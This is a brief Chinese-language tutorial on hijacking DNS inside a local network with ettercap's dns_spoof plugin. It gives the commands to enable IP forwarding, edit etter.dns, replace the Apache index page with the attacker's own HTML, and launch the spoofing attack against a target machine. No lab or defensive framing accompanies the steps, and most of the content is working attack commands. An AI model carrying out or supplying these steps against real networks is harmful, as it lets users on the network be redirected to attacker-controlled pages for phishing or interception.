內網dns劫持

進行內網的dns劫持呢 ---> 咱們須要用到ettercap 和ettercap內置的工具dns_spoof

1.咱們須要開啓ip轉發

echo 1 >/proc/sys/net/ipv4/ip_forward

2.對一些配置文件進行修改

　　①   /etc/ettercap/etter.dns

　　

　　

　　②　/var/www/html/index.html

　　　　刪除最開始的代碼　　(最好把最開始的代碼備份,以便還原)

　　　　而後就能夠在這裏面能夠寫html代碼 

 

3.開啓apache2

service apache2 start

4.開啓ettercap的dns_spoof

ettercap -Tq -i 網卡 -p dns_spoof

 

若是目標ip是物理機 那麼你就能夠在物理機上去訪問你劫持的網址了

也能夠ping 這個網址  回顯的ip將是你kali的內網ip